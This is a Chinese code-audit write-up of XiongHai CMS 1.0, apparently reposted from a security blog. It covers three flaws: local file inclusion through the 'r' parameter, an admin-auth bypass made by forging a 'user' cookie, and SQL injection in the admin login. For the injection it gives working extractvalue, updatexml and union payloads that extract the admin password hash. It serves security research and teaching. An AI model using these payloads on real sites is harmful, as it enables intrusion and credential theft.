0x01 任意文件读取
文件位置:index.php
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
这里只用了addslashes()
代码自动给添加后缀,先在根目录创建一个phpinfo文件。构造Payload:
?r=../phpinfo
admin目录下:
0x02 垂直越权
在admin目录下index.php中,默认是包含files目录下的index.php文件的
/***********admin/index.php**************/
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
/***********files/index.php*************/
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$indexopen='class="open"';
?>
// 以下省略
/***********inc/checklogin.php*************/
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
首先是包含了admin/files/index.php
,然后打开该文件,又包含了/inc/checklogin.php
,该文件中检查cookie是否为空,为空就跳转到login.php
,所以就直接伪造一下。
创建cookie,给任意值
0x03 SQL注入
admin/files/login.php
user
和password
是post
传值,并且没有进行任何过滤。先进行user
的查询,如果user
存在,那么就对password进行md5
,然后与数据库中的值进行对比。
报错注入Payload:
user=123' or extractvalue(1,concat((select concat(0x7e,password,0x7e) from manage)))#&password=
----
user=123' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#&password=
因为这里出来的password
最多只有27位
,数据库中存储的是32位
,所以需要两次注入。
也可以使用updatexml
注入:
user=123' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0)#&password=
也可以使用万能密码登录
1' union select 1,2,3,md5(4),5,6,7,8#
4
因为数据库有8个字段,第四个是密码。
原文始发于微信公众号(白帽兔):熊海CMS-1.0代码审计
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论